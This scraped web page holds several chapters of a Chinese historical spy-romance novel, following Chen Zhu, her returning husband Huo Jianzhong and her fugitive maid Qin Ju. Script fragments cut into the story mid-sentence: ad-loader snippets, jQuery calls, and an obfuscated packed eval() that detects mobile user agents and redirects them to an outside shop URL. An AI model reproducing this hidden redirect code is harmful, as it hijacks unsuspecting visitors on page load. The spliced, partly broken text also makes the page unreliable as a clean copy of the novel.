而此时知晓一切的霍任芙心中无比挣扎，这份秘密将她架在了烈火之上炙烤。 将在场所有妇孺的名姓登记过后已是黑夜，烛火接替日光将街巷照亮。 借着烛火的光芒，沉竹将今日所登记的人名仔细誊抄在一卷之上，誊抄过后又将卷册悉心卷起存放。 忽地，门外传来了一阵急促的马蹄声响,可沉竹并未急着上前去看，过往的几个月中她曾多次被各处的马蹄声哄骗，兴冲冲地喊上霍任芙来到府门前，却始终一无所获。 但这次似乎不同，她好像听到了脚步声在逐渐向她靠近。 是贼人还是霍间重？ 沉竹心中打着鼓，将屋门打开，循着声响寻去。 寻到了白日里她与霍任芙小坐的院落之中，沉竹失去了声音的线索， 她举着烛火茫然地左右徘徊，双眼在一片黑暗中搜寻，仍旧不见半点痕迹。 兴许是她想错了。 地上的那片被烛火照亮的地方越拉越长，沉竹蹲下身子，看着那片光亮。 一阵风来，她手中的烛火被熄灭，她重新站了起来，双眼却不再搜寻，而是直视着周遭的一切。 她明明感觉的到，有人在向她靠近，可现下却找寻不到踪迹。 月光倾洒在地，浅色的树影在地面之上晃动着，一切重归了寂静。 沉竹的感觉没有出错，她陷入了一个温暖的拥抱之中。 她将手抚上身前人的后背，摸到了尖锐又寒凉的铠甲鳞片。 她在用力地感受着这个拥抱的温度过后，同身前人分开了距离。 “你回来了。” 沉竹看向她所熟悉的眼睛，用手摸上因许久未见略显陌生的脸庞。 “嗯，我回来了。”霍间重应声答道。 38. 杨真 “夫君可累了？我去膳房热几道菜，再遣人热些水供夫君沐浴。” 霍间重看向沉竹的眼睛，月华为她的眼增辉，晶莹得似是可以让人一眼看穿。 “不必为我麻烦，时候不早了，夫人先去歇息吧。” 他看着那张他想念已久的脸庞，将自己的手从沉竹的手中抽出。 沉竹低头看着自己空落落的手，再抬头霍间重的背影已然将要在夜色中消逝。 方才感受到的温暖尚未散去，院中的冷风就将她吹得清醒。 霍间重还活着，那先南部边境战败的消息是如何传遍了整个燕京城？ 除非这一切只是表象，这消息是被人故意传出。 何人会有意将此消息传出？赋凌司众人断不会做出这般自乱阵脚的行径。 一阵风过，渐黄的叶在枝头不稳地跌落在地上。 在捕捉到这轻微的声响的同时，沉竹想清楚了其中的关节。 是兆国人故意将这消息散播，意在放松潜伏在城中赋凌司中人的警惕，然更令沉竹感到胆寒的是，覃国战败的消息丝毫不曾传到燕京城中，赋凌司先前在其间传递消息的人兴许已被人抓获。 做下这一切抑或是提出这一想法的人极有可能就是既身为国尉赴南边战场又在廷正监任监副一职的霍间重。 他今日夜间悄无声息回府目的又是为何？ “夫人在此处站着干什么？秋风寒凉，夫人穿的如此单薄，莫要因个不小心害了风寒。“提着灯的沁菊出现在此，打乱了沉竹的思绪。 “无事，只是房中待着无趣，出来转转罢了。“沉竹莞尔，她想沁菊隐下了方才在院中见到霍间重的事实，”你为何提着灯在此处？“ “奴今夜心慌，难以入眠，便想着在院中走走散心。” 看来，沁菊并未见到方才离去的霍间重，否则她不会不向沉竹告知此消息。 “夫人神情怎得如此慌张？” “方才我一人在此处出神，不曾注意到人来，兴许是被你惊到了罢。”沉竹说完还装模做样地抚了抚胸口。 “夜黑风高，夫人还是要早些回屋才是，奴先退下了。” 沉竹回到主屋之后发现霍间重并不在主屋之中，浴房中也不见其踪影。 她心中不安，在屋中来回踱步，思虑着霍间重会去往何处，会做何事。 她欲出门去寻，但手放在屋门之上时，屋门却从外打开。 “夜已深，夫人还要去往何处？”霍间重边说着边将外衣脱下挂在木桁之上。 “我在屋中不见夫君，心中担忧，便想着出门去寻，哪知……”沉竹哽噎地说着，用衣衫的袖口轻拭着眼角，”数月未见夫君，我甚是想念，不想在院落之中刚见到夫君不过半刻，夫君便把我一人落在了院落之中，恍然之间还以为是我忧思过多出现了幻影。” “怎会？”霍间重见沉竹落泪声线却未像往常那般变得柔和。 他不曾将视线落在泫然欲泣的沉竹身上，而是逐一将屋内燃着的烛火熄灭。 “托夫人的福，夫人接连数月为我去往拂尘寺中祈福，我怎敢不平安归来。” 知晓她连着多月去往拂尘寺，看来霍间重已然见过了霍任芙。 沉竹方才说话时直视着霍间重的双眼，捕捉到了他将话说出口前眼中的那一丝波澜。 在霍间重要熄灭最后一盏烛火之时，沉竹拿起放在桌面上的烛花先他一步将烛火熄灭。 “我可是做了什么事惹恼了夫君？”沉竹仍就娇着嗓子问向霍间重。 “不曾。”霍间重的言语终是变得柔软，“是我不对，你莫要再哭了。” 说着便要伸手为沉竹拭去眼泪。 沉竹的眼泪挤得费劲，但还是为他这一举动流出了一滴泪来。 “夫君方才去往了何处？” “我去寻了霍任芙。” “我该想到的，夫君归家自然是要看望芙儿。” 霍间重给出的答案足以告诉沉竹，他已经从霍任芙的口中得知了沁菊的不对劲。 现下，沁菊与沁兰的寝居大抵已被霍间重的手下搜寻了一番。 至于人，应当是未曾找到的，毕竟她先前才在院中见到了因心慌难眠提灯在院中散心的沁菊。 若是幸运，往后便不在有隐患埋在她的身侧，阻碍她的所想所行。 次日沉竹醒来时身边已不见霍间重的踪影。 她向前来给她梳妆的沁兰问起沁菊的去向，沁兰先是说起了昨晚侍卫进屋搜查的事，随后才提起沁菊至今不见踪迹，令她有些担心。 看来是恰巧逃脱了。 沉竹不再多问，梳妆好后便同霍任芙如约前去昭王府赴宴。 徐夫人早早等在了门前，待二人一下车便急着迎了上去。 “霍夫人和霍小姐当真是人逢喜事精神爽，我今晨听闻霍国尉昨夜率军大胜而归，此番陛下必定会嘉奖，夫人小姐先前悬着的心现下可算是落了下来。”徐夫人语气高昂，热络地挽上沉竹的胳膊像是邀功一般，直直地将二人领入了王府之中。 昭王府邸的布置同沉竹对其的印象截然不同。 院中路径鲜少弯绕，草木栋梁也鲜少能见到被人用心打理过的痕迹。 “侧妃娘娘现下在干些什么？”沉竹同引路的徐夫人问道，她想多了解一些关于那位新嫁入王府的杨家小姐的信息，待会儿也好行事。 “自然是在后院中等候着霍夫人与霍小姐。”徐夫人说着漂亮话，并未真正回答沉竹的问题。 后院之中放着不少时令的花朵盆景，其中大都还有着绿叶，有些还开着各色的花，和昭王府中的整体布置显然是两种不同的景象。 不久前嫁入昭王府成为侧妃的杨家小姐名为杨真，此时正坐在院落的正中央，她一身杏红色的衣裳，上面还有着海棠花的暗纹，头上簪着两支玉簪和银色的花钿，眉眼圆润柔软、可爱有余，和杨谣的周身气质全然不同。 “王妃，你看我将谁领来了？”徐夫人谄媚地笑着，硬生生地来着往前走了一步。 “多谢徐夫人帮我这个忙。”杨真柔顺地笑着说道，弯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着的眼让人讨厌不起来，“霍夫人霍小姐赶快寻位置坐下，我让人来为你们添茶。” 在场有不少沉竹熟悉的面孔，不久前刚打过照面的陈老夫人、李夫人都在跟前坐着。 沉竹和霍任芙在她们的后方落座，刚一坐下，身边的侍女便在杨真的示意下往二人的茶盏中倒满了茶水。 “王府偌大，王爷忙于公务常难归家，我一人在府中待着烦闷，便寻了今日将众人聚在一处说话解闷，真是叨扰诸位了。” “王妃这是哪里的话？”徐夫人即刻笑着接茬，“替王妃排忧解难是我们这些臣妇该做的事。” 话音落下，众人接连称是。 “这徐夫人为何一直管侧妃娘娘叫做王妃？晏家姑娘尚未进府，这王妃未免叫得太早了些。”霍任芙趁着喧闹问向身边的沉竹。 “何人在位子上，此人便向那边倒去，无甚可稀奇。” 说完，沉竹端起面前的茶水饮了一口。 茶味醇厚甘甜，想必是珍藏已久的好茶，并非是从库房之中随意选了茶来冲泡。 “不知今日昭王可在府中？”霍任芙继续同沉竹问道。 “来时我寻人打听过，今日昭王碰巧无事，现下正在府中。” “如此，今日昭王侧妃原是为昭王组局。” 霍任芙刚说完，侍者便将一道做得精巧的糕点摆在了众人面前的木案之上。 “此糕名为同舟共济，是用菽和江米混合制成，又用了风干的绣球花当作装饰，前些时日我将此糕点做好拿给王爷品尝，王爷亲自取了这个名字，今日便特让膳房做好来给各位品尝，看是否能尝出‘同舟共济’之意？” 听杨真细致地说完这一糕点的含义，沉竹将糕点送入了口中。 细腻酥软，着实是一道极为用心的糕点，可沉竹却品不出同舟共济这一含义，处心积虑倒是更为确切一些。 徐夫人率先将奉承的话语说出口，杨真笑着回应，口中将话柄先递给了陈老夫人。 “老夫人觉着这糕点可好？” “自是不俗的。”陈老夫人说话时依旧强装一副冷淡高傲的神情。 “那霍夫人呢？这糕点可合霍夫人的口味？” “这糕点与茶相辅相成，甚为可口。”沉竹恭敬地回答道。 “二位夫人觉着好我心中便也欢喜。”杨真停顿了一下才又说道，“各位用完茶水糕点不如一同观赏后院尚开着的这些花，我平日里对花草喜爱，便在这后院之中养了不少花草，精心照料着。” 坐在离杨真不远处的徐夫人本欲对其端上的糕点发表自己的一番见解，可杨真将话引至别处，她便也不好出声。 沉竹见着她面上的表情短暂破裂又迅速恢复到了从前。 仔细在院中看过之后，沉竹才发现这些花草的枝叶都被人精心修剪，错落有致，颇有一些意趣。 方才按序坐着的众人此刻散开，无人注意到有一王府侍女附在杨真耳侧不知说了些什么，让杨真本应从一而终的亲和面容变得僵硬，露出了恼愠的神情来。 39. 逃离 沉竹率先注意到了杨真面上神色的异常。 彼时她正与霍任芙谈着今日宴上哪道茶点做得更为精致可口，论着今日所喝之茶清润甘甜。 只是不经意间转头，沉竹便注意到了那本不该今日出现在杨真脸上的神情。 是发生了何事惹得谈吐得体，仪态端庄的昭王侧妃露出此般神情？ 等沉竹回头想再去寻杨真的身影时，院中已不见其踪迹。 沉竹心中思虑着，犹豫着是否该找借口前去一探究竟。 “今日王妃娘娘之宴席真是办得极好的，不知霍夫人与霍小姐可否尽兴？”徐夫人从人群中退了出来，向站在一处的沉竹和霍任芙问道。 “自然尽兴。”沉竹笑着回应道，“不知侧妃娘娘将我们留在此处可是还费心安排了什么精巧的玩意儿？” “霍夫人猜的不错。”徐夫人边说边掩嘴笑着，“前些日子我常到王府拜访，那时王妃常同我问起城中乐师鼓乐之事，大抵便是为今日做准备，霍夫人和霍小姐今日就等着大饱眼福吧。” 徐夫人话语中的轻视经过了她自以为周全实则拙劣的伪装显得越发怪异，引得霍任芙听后深觉莫名侧目看了几眼。 然徐夫人此话说出后不久，跟在杨真身边的仆妇便来到众人聚集的院中宣道：“方才一时风大，侧妃娘娘被吹的头痛难忍，先去歇息了，今日便不多留各位了，烦劳各位在此处等候。” “王妃娘娘头可疼的厉害？”徐夫人听后即刻问道。 “不甚严重，但今日实是无法坚持，已请医士前来，夫人无需担忧。”仆妇浅笑着回答道。 众人渐渐散去，沉竹同霍任芙也一并随着人流朝王府大门处走去。 就在沉竹迈出王府门槛之时，方才传话的仆妇却拦住了她与霍任芙的脚步。 “霍夫人和霍小姐稍候，烦请随老奴前来，侧妃娘娘有请。” 二人随那仆妇原路返回，在走到先前院落的岔路之时，拐向了另一个方向。 直直穿过长廊，沉竹同霍任芙来到了另一方偏殿。 她与霍任芙身边跟着的侍女被拦在了门外，只二人进了仆妇为其打开的房门。 偏殿之内布置简单，一方素帘，一扇只画着兰花的粗织屏风，和一方凌乱的床榻。 面色已恢复平静的杨真和衣衫不整形容镇定的昭王分坐在两边，在两人面前跪着的是同样衣衫凌乱，低头垂眼的女子。 沉竹进屋轻扫了一眼，未看清那女子面容，只看清了她身上穿着一身霍府家仆的衣衫。 下意识的，沉竹心中一沉，但还是和霍任芙一道，先给昭王和杨真行了礼。 “臣妇恭请昭王与侧妃娘娘金安。” “霍夫人，霍小姐请起。”杨真淡然道，“让夫人和小姐前来，是为了眼前这事。“ 说罢，杨真让身边的侍女将那跪着的女子的脸抬了起来。 “此女子自称是你霍府的侍女，今日在王府之中偶遇了王爷，王爷瞧着欢喜，我便想着找霍夫人和霍小姐前来做主，将此女迎入王府。” 沉竹顺着那侍女的动作看清了那女子的脸庞。 是沁菊。 沉竹心中惊诧，尽力稳着声音回答着杨真的话：“家奴粗鄙，何以得王爷青眼相待，不如侧妃娘娘先让我带人回府，细细询问一番后再做定夺。” 昭王漠不在意，杨真神色松动，沉竹本以为可以顺利将沁菊先带回到霍府。 不想沁菊却在此时出声。 “奴…奴心悦昭王殿下，不愿同夫人回府。” 沁菊声音娇媚，说完还给在席上的昭王和杨真磕了头，和沉竹印象中那个坐在自己梳妆台面之上仿佛始终胜券在握的沁菊截然不同。 “既如此，便留下。”昭王漫不经心地说道，“劳夫人为此女选个屋子安置。” 昭王发话，沉竹再没有将沁菊带回霍府的可能，她看着杨真，希望其能说些什么改变这一事的走向。 “好，我今日便遣人将府中西边的院落收拾出来，供沁菊姑娘起居。” 事情已经板上钉钉，沉竹再说些什么都已无法扭转局面，只得应和道：“既如此，我便将家中的奴契送到王府。” 杨真听后，微微点了点头，随后笑着同沉竹说道：“今日劳烦霍夫人霍小姐久留在此，姜妈妈将霍夫人和霍小姐亲送出府。” 离开王府，坐上回霍府的马车，方才一直缄默的霍任芙才放松了神情，同沉竹说起此事来。 “那沁菊倒真是个机灵的，知晓自己身份有疑被兄长追捕，便寻了这机会将自己送入了昭王府，现下，要想将她捉入廷正监牢狱审问，怕是难上加难。” 沉竹自走出王府时心中便有了分辨，沁菊昨夜定是看到了廷正监守卫围在了其与沁兰的寝居之外，逃离霍府后，掐着这一刚好的时机趁着无人在意之时混入了王府，与昭王发生牵扯。 “夫君为何要捉沁菊？”沉竹装作不知问向霍任芙。 “嫂嫂可还记得你同我说的那些关于沁菊的事宜？我觉着不对，兄长归家之后，我便将此事说与了兄长。兄长便让廷正监侍卫将她所在的寝居围住，等着将人捉拿去廷正监审问，却不想夜色深沉，那人却不在寝居之中，被她侥幸脱逃。” 沉竹震惊地看向霍任芙，急着问道：“夫君怎会要捉沁菊？难不成…沁菊是…是赋凌司奸细？” 见沉竹的神情由震惊转为哀伤，霍任芙忙安慰道：“我知嫂嫂定难接受此事，她随你从滁州嫁到燕京，平日里又在你身边尽心服侍，谁能想到她竟是这样的一个人？嫂嫂莫要太过忧伤。” “多谢芙儿宽慰我，只是我心中有些内疚，懊恼自己为何不曾早些看出此人的不对，未帮夫君排忧解难。” 沉竹边说眼中边蕴了泪水，看向霍任芙。 燕京城的雨总是来的很急。 这日，沉竹外出时看着天色忽而阴沉，便急着跑回了府中，她前脚刚迈入门槛，雨在她的身后便开始一点一滴的落下。 看着屋檐之下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐变得细密的雨，沉竹颇有些庆幸，今日出门之时天朗气清俨然不是将要下雨的模样，因而并未带着伞出门。 “幸而你我跑的快。”沉竹笑着同身边的沁兰说道。 “是奴的不是，奴未思虑周全，让夫人跑了这么远的路。”沁兰低着头，焦急地同沉竹说道。 “天气变幻莫测你又如何料想的到？这不是你的错，你可不要自责。” 沉竹话说出之后，沁兰焦急的神色未有太大的变化，只是不再低着头，躲闪地看向沉竹的眼睛。 自打沁菊一事发生后，沁兰就变得恹恹。 沉竹看得出她的自责与哀伤，可府中事忙，不留给她消解情绪的时间，沉竹便一得闲就拉着她外出转转，看看城中的秋色。 沉竹由心感激在当初自己因解药一事心绪不佳时，沁兰在身边的陪伴与开解。 “你回来了。”门外霍间重的声音引得沉竹回头。 他穿着一如既往的青褐色的衣衫，两手都拿着伞，一把撑着，另一把合着拿在手中。 “夫君可是听闻我外出，看天色突变担忧我淋雨，特意为我送伞去？” 霍间重不回应，自顾自地甩去伞上的雨滴，向门内走去。 沉竹从霍间重的手中接过那把刚刚被其合上的伞，还将那把未来得及使用的伞递给了一旁的沁兰。 “我与夫君同打一把伞可好？” 沉竹不给霍间重拒绝的机会，将伞打开，拉过霍间重的衣袖，二人打着一把伞经过府中大小院落，回到了正屋之中。 沉竹的伞打的偏心，回屋之后她身上干爽，霍间重衣衫的颜色倒是更深了一层。 “夫人的伞打的倒是甚合我的心意。”霍间重看着自己湿了半边的衣衫，浅笑着对着沉竹说道。 沉竹向霍间重走近，靠着他的身体，帮他脱下湿着的外衣。 “夫君要我如何补偿才好？”她说话时抬头看着霍间重的眼睛，试图将眼中缱绻的情意传达到他的眼底。 霍间重看惯了她的伎俩，便也不做挣扎，甘心被她眼中的辨不出真假的情意蛊惑，他弯下身子，朝她的面庞一点点靠近。 “我听闻淋雨之后要及时热水沐浴才好。” “那我待会儿便服侍夫君沐浴。”沉竹弯着眉眼对霍间重说道。 “只是沐浴？” “那夫君还要我做何事？” 窗外的雨声越发的急了，让人听不出先后的声响。 霍间重衣衫半褪，他的唇也渐渐接近她的。 就在沉竹以为将要碰上之时，霍间重却捏着她的下巴，在极近之处停下，随后远离，用手捋开她额前的碎发。 “我倒是想到一个极好的让夫人补偿于我的法子，夫人可愿一听？” “自然。” “前些日子，夫人身边的侍女不是入了昭王府邸，夫人不如同我说说，夫人同此人的交际？” 霍间重看着沉竹的面庞，试图捕捉她一闪而过的不自然神情。 40. 疑题 得知沁菊被昭王纳为妾室的消息之后，霍间重即刻便拽上陈年去王府拜访了昭王。 此时日头还未完全落下，昭王在寝衣之外披了件外衣便来厅中见客。 “二位大人来我府中是为何事？” “不过小事，小事。”陈年边为昭王添着茶边笑着打圆场。 “能让霍大人一并来的，定然不是小事。”昭王接过陈年递来的茶盏，喝了一口继续说道，“有何事二位大人不妨直说。” “王爷宽宏，我二人今日前来是为了王爷新纳的那房妾室。”陈年依旧笑着答道。 “哦？我的妾室于廷正监有何干系？”昭王不紧不慢地说道。 “想必王爷也知晓，那女子原先是霍夫人的侍女，常随霍夫人出入各类场合，在我与霍大人的推算之下，此女子的身份怕是并不简单。”陈年说着还给坐在身边的霍间重递了个明目张胆的颜色，示意他也说些什么。 “我们想将此女带回廷正监审问。”霍间重单刀直入地向昭王提出了请求。 陈年未想到霍间重话一出口便是如此直截了当，一时间有些惊异，一双眼看了霍间重又看了昭王，不知说些什么才好。 “霍大人此话说得轻巧，你们手中可有实质性的证据证明我的爱妾身份存疑？光靠猜测可难以让我应允二位的请求。” “倘若将此女留在府中，此后若是出些什么事情可与王爷脱不了干系，王爷若是愿意担下这份风险，我与陈大人今日也不再在府上多留，叨扰王爷。” 昭王听后没怎么思忖后便说道：“多谢二位大人今日登门造访告知我此事，今日王府便不再多留二位大人。” 说罢，他喊来身边的跟随的侍卫送二人出府。 走出府门的陈年颇有些沮丧，他叹了口气道：“霍兄，现下可如何是好？贼人逃窜至王府，此后若是再窃出些什么消息，做出些什么乱子来该如何是好？” “昭王殿下并未庸碌之人，他既愿意担责，便是对此事有把握，你我不必为此多担忧。”霍间重看向身边忧心忡忡的陈年，“现下最要紧的是，找出些实证来证明此女子的确是赋凌司细作，昭王所言非虚，若是没有实证，将来哪怕抓此人去廷正监中审问出什么来，也会被有心之人说是廷正监屈打成招。” 陈年点点头，收起了面上的愁容，短暂考虑后说道：“霍兄说的在理，要想抓住此人的把柄，还是要从其身上入手，知己知彼方能百战不殆，此事还是要拜托霍兄了解一二。” 霍间重不语，只默默地向前走着。 赋凌司的细作渐渐浮出水面，但尚有疑问未解决，他心中也渐渐有了不好的预感。 他迟疑了几日还是将关于沁菊的问题向沉竹问出，眼前人的眼眸勾人心魄，他抑制着自己的举动，用意志力压抑着心猿意马，告诉自己今日只是来得到问题的答案。 “夫君如此看着我，莫不是在审问犯人？”沉竹娇嗔地说道。 霍间重低下头，将衣物拂落沉竹的肩头，开始细吻着她的颈部，不再看着她的脸庞。 “沁菊陪伴我日久，现下提起她来我到底还是有些伤心。”沉竹轻喘着气继续说道，“可只要是夫君问我，我定会回答。” 她不轻不重地捏着霍间重的后脖颈，柔声道：“自打到燕京城之后，沁菊便常随我外出，要是细数都去过何处当真是有些为难，如今我便也只记得开府时曾用过的果脯和上元节芙儿曾称赞过味美的元宵是她提议并陪着我一道去买的。” 沉竹断断续续说出的这些霍间重已然从霍任芙口中得知，这也并不是他想要得到的答案。 “可还有别的？”他哑着声音问道。 “夫君还想知道些什么？”沉竹此刻眼神迷离但脑中却清醒得很，考量着倘若霍间重接着问下去自己是该说还是不该说，若是要说又该说些什么。 可霍间重不再回应，默不作声地调动着她身体的快感，留给了沉竹更多胡思乱想的余地。 沉竹本无意开口，可胸前却突然吃痛，她抖着声线说道：“夫君让我再想想。” 她脑中快速搜寻着她与沁菊不令人起疑的过往，随后轻声说道：“夫君外出征战之时，沁菊曾随我几次去往城外的拂尘寺。这，夫君可满意了？“ 霍间重依旧沉默着，但不再给予沉竹开口的机会。 窗外还有雨声，树影因雨滴上下摆动，绰绰地混在一起，似是而非地摇晃着。 次日，城中初霁，沉竹起身时身边又不见霍间重的身影。 不知是跟谁学下睡完就跑的臭毛病，沉竹虽已司空见惯但仍腹诽道。 秋风渐起，府中却少些厚实的布匹，沉竹今日要去城中的布匹店瞧些暖和的布料做些新衣，也预备着过冬。 她走时叫上了霍任芙同她一并去，霍任芙起初兴高采烈地应下，但将要出发时又想起还有未做完的事，只留沉竹一人同沁兰上街去。 不比她感知秋意的后知后觉，城中大大小小的布匹店早就将做秋衣要用的布料摆了出来，豆绿、石青、水红，这季时兴的色彩被店家摆在店中最为显眼的地方，让人无法忽视。 沉竹向其中一款有着祥云暗纹的布匹走进，店家便急着凑了上来。 “夫人好眼力，这是不久前刚从西边枢城运来的布匹，织法层层严密扎实，正适宜做一身典雅的衣衫。” 这布匹的颜色素雅深得沉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竹喜爱，当即就定下，随后又去别处为霍家兄妹二人看些合适的布匹。 转来转去，沉竹又回到了第一家店，店家见她去而复返，再次热情地走了过来。 “夫人眼光可真是不俗，这块茜色的布料近来是买得最好的，不瞒夫人说，这块布料还被宫中的贵人选中了。” 店家自夸的话引起了沉竹的思考，她依稀记得宫中皇后娘娘并不喜爱这样颜色的衣衫。 “可有些素净些的料子？”沉竹记得霍任芙偏爱淡雅的颜色，面前这些布料颜色都太过艳丽。 就在店家将要把她领到另一边时，恰巧撞上了一位头戴金钗的“贵人“。 沉竹听到那清脆的金玉相击的声音时，还以为又碰上了杨谣那般趾高气扬的角色。 可她抬眼一看，是装点华丽的沁菊。 “没想到在此处遇见了夫人。”沁菊语气平常，只是在目光与沁兰交汇时略有些停顿。 “不算意外，张老板的布匹生意在燕京城做得盛大，你如今身为昭王府中的少使你我在此遇到也算正常。” 沉竹笑着将话说完，便要随着店家从此处离去，不想经过沁菊身侧时却被她拉住了胳膊，不得已停下了脚步。 “你这是何意？”沉竹看向沁菊的侧脸，将话问出。 “如今我也算得上是昭王的人，夫人怎么不同我行个礼再离去？”沁菊转头，同样望向沉竹的眼，可视线中没有一丝一毫的盛势凌人的派头。 沉竹感受地到，沁菊在这电光火石间将一个细小的纸条塞进了她的袖口。 随后沉竹甩开沁菊的手，依旧笑着说道：“不松开我，如何为少使请安？” 她恭敬地弯下身子，低着头向沁菊行了个十足的礼，口中还郑重地说道：“臣妇给少使请安。” 沁菊的手略向上抬示意沉竹起身后便头也不回地离开了铺子。 待沉竹起身后，身边将这一幕从头至尾战战兢兢看完的店家小心翼翼地出声：“夫人可还要小的带您去看店中素雅的布料？” “自然。”沉竹的心情并未被方才的插曲影响，说话时对店家笑得礼貌又和善。 她知晓，现下她才是那个手握主动权的人。 带着买回的布料坐着马车回府，一路的景致都宜人，枝叶为秋上了微泛黄的华妆，同街上的人一道，满足又惬意地度过此时有着漫天红霞的余辉。 沉竹掀开车帘同沁兰聊了几句秋日的盛景之后，便不再探出头来。 她从衣袖中抽出刚刚沁菊塞与她的纸条。 狭窄的纸条之上本也容不下几个字，只写明了时间与地点。 沉竹料到了沁菊会寻机约她相见。 41. 铺垫 霍间重在天未亮时就起身，一人骑着快马，乘着薄雾，去往拂尘寺。 熹微晨光笼罩着的拂尘寺更添几分超俗的意味，寺中的僧人专注地扫着被雨打掉的落叶，还有些虔诚的香客静步朝主殿走去。 见霍间重并不像是来此参拜的人，寺中的一位僧人看见了他腰间的玉牌，上前询问：“不知大人来此有何事？” “打搅师傅清修，我今日来此是想问些消息。” “大人可是廷正监的人？前段时日还要多谢廷正监的诸位帮我寺捉住盗贼。”小僧人说罢，还微微欠身向霍间重致谢，“为答此恩，大人想要知晓什么，我都定会相帮。” 拂尘寺丢失的往来香客名册和存放在寺中的贵重物件由廷正监侍卫在一伙盗贼的家中寻到，那盗贼家中还有不少金银财物，审讯过后，盗贼吐露其是收人钱财替人办事。 可不等将主谋是何人问清，那盗贼就因伤口溃烂死在了狱中，因着此事廷正监还担了罪名，彼时霍间重还在边境征战，不好追究，惩罚便落在了陈年的头上。 此外，听闻景王也被陛下叫去问责。 “不知那本香客的名册可还在？” “原先的那本已被盗贼所毁，大人若是想找人，寺中这段时日的人员倒是不曾变动，我可向长老请示，帮大人将看守的僧人找来，供大人询问。” “师傅有心帮我，霍某便已然感激不尽，劳烦师傅去向寺中长老请示。至于看守的僧人，只需找来后山和正殿的便可。” “大人这是哪里的话，还请大人去别院中稍候。” 霍间重听后微颔首，顺着那僧人所指的方向到院中等候。 此院临近拂尘寺后山，抬头望去，还能看到葱茸翠绿的山尖。 小僧人并未让霍间重等候太久，不一会儿便领了一高一瘦二位僧人进到了院中。 “大人，这便是看守后山和正殿的二位僧人。” “多谢。” “对了，我记得在我寺失窃时廷正监似是曾派人来查案子，不知大人今日可是为此而来？” 霍间重答不出僧人的疑问，他今日是为此而来，但心中却不以廷正监的名义。 待那小僧人离去后，霍间重向那二人问道去年的这一时节前后可有什么异常。 一年前的事任谁也无法全然记得，那二人只挑着还有印象的人与事说与霍间重。 这其中自然少不了几月前刚被问询过的润夏一事。 从这些僧人的口中的此事与霍间重在廷正监听到的内容多少有些出入。 “我最后一次见到那常与王府侍女打交道的白衣女子，是在今年春，那女子一人登上了后山山顶然后掩面在山上的亭中久坐，不知是在笑还是在哭泣。” 这消息霍间重并未从廷正监的侍卫口中听得。 “这白衣女子曾在去年的这一时节常常来此，此事我已同大人的那些手下讲明。”那位身形高挑的僧人对霍间重说道。 “也不全然是白衣。”那位守在后山的僧人思考了一阵继续说道，“也有些别的素色衣衫。” “叨扰二位了。” 说罢，霍间重起身送走了二位僧人，随后登上了后山。 早秋的燕京城从高处看去只有一片淡淡的黄色隐匿在绿色之下，看上去颇有几分萧条。 她也曾看过这样的景色吗？在得不到解药的时日里，同那已经死去的王府侍女并肩站在此处。 寻机让沁菊动手露出马脚是现下廷正监的头等大事。 首先是要抛出诱饵，使覃国有所动作，促使城中的赋凌司细作开始行动。 思来想去，陈年与霍间重二人将“诱饵”定在了曾发生过祸乱的东部。 二人将商议好的对策递给景王，交由其定夺。 “我本以为你二人会将弱点设在南边。” “南边的朱国旧地覃国虽尚未完全收复，但上次南部边境一战，覃国吃了苦头，此番必定会更加谨慎，倒是我国东境不曾有覃国的同盟，我同霍兄思量了许久还是将此诱饵设在了东边，霍兄先前曾去那边平乱，对那边形势也比较熟悉。” “若是调动东边的布防，便会引得蛮人来扰乱边境，此时覃国若将消息递给那些蛮人便会不费一兵一卒损耗我国实力。我想，刚刚战败的覃国必定不会放过此次机会重创兆国。”霍间重接着补充道。 “而如此做，便是落入了我们定下的陷阱之中，倘若我们兵力部署得当，此番不仅能捉住城中细作，还可大败东羌族，一扫我国常年被此族侵扰的烦忧。”陈年接着霍间重的话尾将此计策向景王讲明。 “可你二人怎能料定城中藏匿的赋凌司细作一定会出手？毕竟连接覃国与城中细作消息的人已被我们抓获，城中的那些细作难免不会起疑，从而不动作。” 景王眉间的忧虑不曾放下，面前的茶水分毫未动，也已不再有热气冒出，静静地等待着风来惊起一丝涟漪，好迸发出生机来。 “此事王爷不必担忧。”霍间重说着端起了面前的茶盏，“就如同这王府的茶盏一般，碎了还会有新的摆上来，甚至可重新摆上来的茶盏种类之繁多还会让人眼花缭乱。赋凌司用毒药控制这些细作，而这些细作在他们眼中不过是乞命的蝼蚁，死不足惜，没了一个还会有千千万万个等着补上来，哪怕这是招险棋，他们也定会拿这些”蝼蚁“的命来搏。” 景王听后轻叹了口气说道：“那此事便定下，交由你二人全权来办，父王那边我自会交代，你二人全心办事就好。” 陈年与霍间重听后向景王行礼答是。 “对了，你二人同我说那疑似赋凌司的细作现下藏在了何处？” “昭王府。” 沁菊约沉竹相见的地点定在了城中一间不起眼的小屋中，那日城中正因将来的中秋欢庆，无人在意狭小巷落中一间没有灯火的简陋房屋。 沉竹找了借口，轻衣简行前去赴约。 她按着纸条上写着的地点寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13932157|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，几次错过才终于找对了地方。 “怎得挑了个如此偏僻难寻的地方？”沉竹进屋，向早已抵达的沁菊有些嗔怪地说道。 “你以为将我赶尽杀绝，自己坐上辨情使的位置便可由着自己的心意做事，掌握自己的生死？”沁菊边说着边向沉竹的位置走近。 沉竹在她的脸上未瞧见如自己想象那般恼羞成怒，清隽的眉头皱了起来，事情似乎并不如她料想得那般顺利，她识得出此时沁菊脸上的神情在表现着什么。 一种无可奈何的愤恨和悲悯。 “你知道些什么？”沉竹睁着眼睛，迫切地向沁菊问道。 